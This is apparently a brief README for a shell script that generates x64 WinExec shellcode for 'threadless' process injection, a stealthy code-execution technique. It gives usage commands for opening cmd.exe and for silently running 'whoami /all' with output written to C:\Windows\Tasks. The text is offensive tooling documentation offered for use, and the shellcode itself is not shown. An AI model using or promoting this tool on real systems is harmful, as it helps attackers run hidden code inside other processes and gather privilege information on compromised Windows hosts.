Generates x64 WinExec Shellcode which you can use for Threadless Injections, the code was stolen from Adopting Position Independent Shellcodes and PIC-Get-Privileges
open cmd.exe as window
./shellGenerator.sh 'cmd.exe' 10
run cmd command without window
./shellGenerator.sh 'cmd /c "whoami /all" > C:\Windows\Tasks\out.txt' 0